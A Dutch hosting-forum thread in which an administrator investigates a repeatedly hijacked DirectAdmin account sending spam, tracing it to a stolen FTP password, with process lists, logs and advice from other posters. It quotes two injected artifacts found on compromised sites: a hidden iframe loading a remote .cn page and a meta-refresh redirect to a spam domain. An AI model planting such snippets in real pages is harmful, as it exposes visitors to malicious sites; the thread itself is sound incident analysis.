Onderwerp: Hack op leeg account?

Eergisteren een account suspended omdat het gehacked was, men zag kans om er tigtallen mails via te versturen.
Account leeg gemaakt, later op de dag lukte het weer, dus account compleet gewist en opnieuw aangemaakt.

Het enige wat er in stond is een index.html die je te zien krijgt bij aanmaak van een nieuw account in Directadmin.
Daar had men op een of andere wijze een iframe in weten te zetten die iets van een andere site opriep. Dat stuk heb ik gewist dus kan niet meer zeggen wat het was.

Wel kreeg ik van CSF de melding dat er een vaag script aan het lopen was genaamd jxocyb.pl. En ja hoor, het mailen was weer bezig.

Een ps -faux leerde me het volgende:

Code:

accountnaam   19827  2.7  0.5   7408  5568 ?        Ss   Jun27   0:58 jxocyb.pl
accountnaam   19828  1.3  0.5   7152  5320 ?        Ss   Jun27   0:29 jxocyb.pl
accountnaam   19829  1.6  0.5   7124  5344 ?        Ss   Jun27   0:35 jxocyb.pl
accountnaam   19830  1.4  0.5   7172  5412 ?        Ss   Jun27   0:31 jxocyb.pl

Op de hele server is er geen jxocyb.pl te vinden. De server is gisternacht nog geupdate met ./build update_versions. Daarbij werd o.a. php en phpmyadmin ook mee geupdate.

Waar zit er nu nog een bug in zodat ze die index.html hebben kunnen aanpassen en op welke wijze kan het dat ze onder de accountnaam van de user een perl script hebben kunnen starten? Van een compleet leeg nieuw aangemaakt account???

Ik wil de /usr/bin/perl wel chmodden, als dat maar geen problemen geeft met de ./build updates. Het gaat hier om een DA server met Debian.

Dit gaf CSF ook nog aan, maar daar kom ik niet echt wijs uit:

Code:

Memory maps by the process (if any):

08048000-08148000 r-xp 00000000 08:05 3133382    /usr/bin/perl
08148000-0814c000 rwxp 000ff000 08:05 3133382    /usr/bin/perl
0814c000-08506000 rwxp 0814c000 00:00 0          [heap]
b7cf3000-b7d02000 r-xp 00000000 08:05 9502748    /lib/tls/i686/cmov/libresolv-2.3.6.so
b7d02000-b7d04000 rwxp 0000f000 08:05 9502748    /lib/tls/i686/cmov/libresolv-2.3.6.so
b7d04000-b7d06000 rwxp b7d04000 00:00 0 
b7d06000-b7d0a000 r-xp 00000000 08:05 9502737    /lib/tls/i686/cmov/libnss_dns-2.3.6.so
b7d0a000-b7d0c000 rwxp 00003000 08:05 9502737    /lib/tls/i686/cmov/libnss_dns-2.3.6.so
b7d0c000-b7d15000 r-xp 00000000 08:05 9502739    /lib/tls/i686/cmov/libnss_files-2.3.6.so

etc.

En dit vond ik nog in de suexec.log:

Code:

[2009-06-27 23:55:33]: uid: (1058/accountnaam) gid: (1055/accountnaam) cmd: jxocyb.pl

Check je tmp eens na welke rechten deze map of file heeft.

en controleer ook op brakke joomla en andere ranzige scripts.
rootkit hunter kan vaak al genoeg vinden.

Vreemd... terwijl ik bezig ben gaat het weer aan de gang, bij diezelfde user.
Opeens is er een directory q18jw5 in de public_html.
Daarin staat dan weer in 4rwbpt.html met de volgende inhoud:

Code:

<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://rxnewcloud.com/?said=trio">

En nog een .htaccess met alleen daarin RewriteEngine On.
Misschien dat ze die niet af konden maken omdat ik de zaak in de gaten hield en de boel meteen weer op suspend gezet heb.
Verder zie ik bij een netstat -an veel van deze:

Code:

unix  3      [ ]         STREAM     CONNECTED     7056     
unix  3      [ ]         STREAM     CONNECTED     7038     
unix  3      [ ]         STREAM     CONNECTED     7037     
unix  3      [ ]         STREAM     CONNECTED     7035     
unix  3      [ ]         STREAM     CONNECTED     7034     
unix  3      [ ]         STREAM     CONNECTED     7032

Duh... Tsjakka... oorzaak gevonden volgens mij:

Code:

ProFTPd [4877] ::ffff:75.144.194.185 [28/Jun/2009:01:06:41 +0200] "USER accountnaam" 331
ProFTPd [4877] ::ffff:75.144.194.185 [28/Jun/2009:01:06:41 +0200] "PASS (hidden)" 230
server:/var/log/proftpd#

En zo zie ik er verschillende.

Bug in proftpd?

@Phu: /tmp was clear, had ik al eerder eens beveiligd en check ik tegenwoordig altijd als eerste, daar gebeurt momenteel echt nauwelijks iets in.
Wat ik nu wel weer zie in /tmp zijn een tweetal apache sessies zoals deze (en die heb ik vaker gezien deze week):

Code:

rw------- 1 apache apache    41 2009-06-28 01:11 sess_50a9947ed190f7c168983aee01a92491

En dat heeft dan deze inhoud (heb ik ook vaker gezien):

Code:

Alpha|i:-1;Bravo|s:16:"IVEGOTNOPASSWORD";

Vaag, je voegt dus een account toe zonder password en ze verkrijgen toch op een of andere manier toegang tot dat account terwijl het eigenlijk niet mogelijk zou moeten zijn?

@Mikeh: Nee ik had het account compleet gewist en opnieuw aangemaakt, dus er waren nieuwe wachtwoorden.

Ik ben er uit volgens mij, na even zoeken.

Een domein op een server van een collega... eigenlijk nooit gebruikt behalve voor email door gebruiker blijkt geinfecteerd.

Code:

<iframe src="http://jumbobestrate.cn:8080/index.php" width=127 height=176 style="visibility: hidden"></iframe>

Mijn klant gebruikte daar een email adres van op mijn server voor de berichten. Daar gingen de nieuwe wachtwoorden naar toe dus dat verklaart vermoedelijk waarom de hackers het nieuwe ftp wachtwoord zo enorm snel hadden, zonder bruteforce.

Ik kwam er achter doordat er zo snel het nieuwe ftp wachtwoord gebruikt werd en omdat het maar bij 1 account telkens gebeurde.

Mijn klant heeft nu op de site zelf de index.html met die iframe weggegooid en wat blijkt.. nog geen minuut later is ie weer aangepast dus ook die server is gehacked.

Het kan verstandig zijn als betreffende collega zijn server ook even na kijkt want die is geheid ook gehacked. Dus die zal ik een email sturen.

imap ++

Je hebt nog een PM van me tegoed zag ik

Een PM tegoed? Oh kan, weet ik al niet meer, dat zie ik dan vanzelf als ik hem tegen kom.

Betreffende hoster heeft inmiddels een spoedmailtje gekregen.

De collega's werken gelukkig ook in het weekend, net bericht gehad dat ze het probleem gefixed hebben en de server geupdate.

Ik heb wel eens dat ze je ftp en smtp verkeer sniffen in een brak netwerk (in je DC of bij je thuis of daartussen) of iets van dien aard. Dan kun je nieuwe passwords blijven maken, maar ze hebben ze meteen in handen. Het enige "voordeel" is dat je de "inbraak" netjes meteen in je log terugziet, meestal vanuit timboektoe.

Een bekende, tijdje niet gezien maar afgelopen week alweer drie keer. Kijk je FTP logs maar na en daar vind je hem. Geen hack dus. Er is een tijdje een wormpje geweest dat FTP-wachtwoorden bij eindgebruikertjes pikte. Ik denk dat hier een nieuwe variant op is gemaakt.

Oorspronkelijk geplaatst door Randy

Een bekende, tijdje niet gezien maar afgelopen week alweer drie keer. Kijk je FTP logs maar na en daar vind je hem. Geen hack dus. Er is een tijdje een wormpje geweest dat FTP-wachtwoorden bij eindgebruikertjes pikte. Ik denk dat hier een nieuwe variant op is gemaakt.

Komt terug veel voor. Dan volzetten met iframes (je herkent ze snel dus kan je er ook wat leuk op vinden) of met script welke dan rond spammen.

Trouwens mod_clamav op je ftp doet ook al wonderen!

Kijk je FTP logs maar na en daar vind je hem. Geen hack dus.

Ik vond er niets over in de ftp logs, misschien bij die collega dan. In de logs op de server was gewoon alleen de rechtstreekse ftp login te zien.
Het ftp wachtwoord ondervangen gebeurde dus elders waar de mail naar toe werd gestuurd.

De logins waren overigens inderdaad vanuit de US en vanuit Rusland. Of via aldaar gehackte servers want dat is ook een veelgebruikte methode.

Wel apart dat ze vrijwel alleen yahoo.com accounts aan het spammen waren.

Waarom laat je je klanten geen gebruik maken van scp en ssh keys ipv plaintext ftp programma's ?
Zou je veel trammelant voorkomen !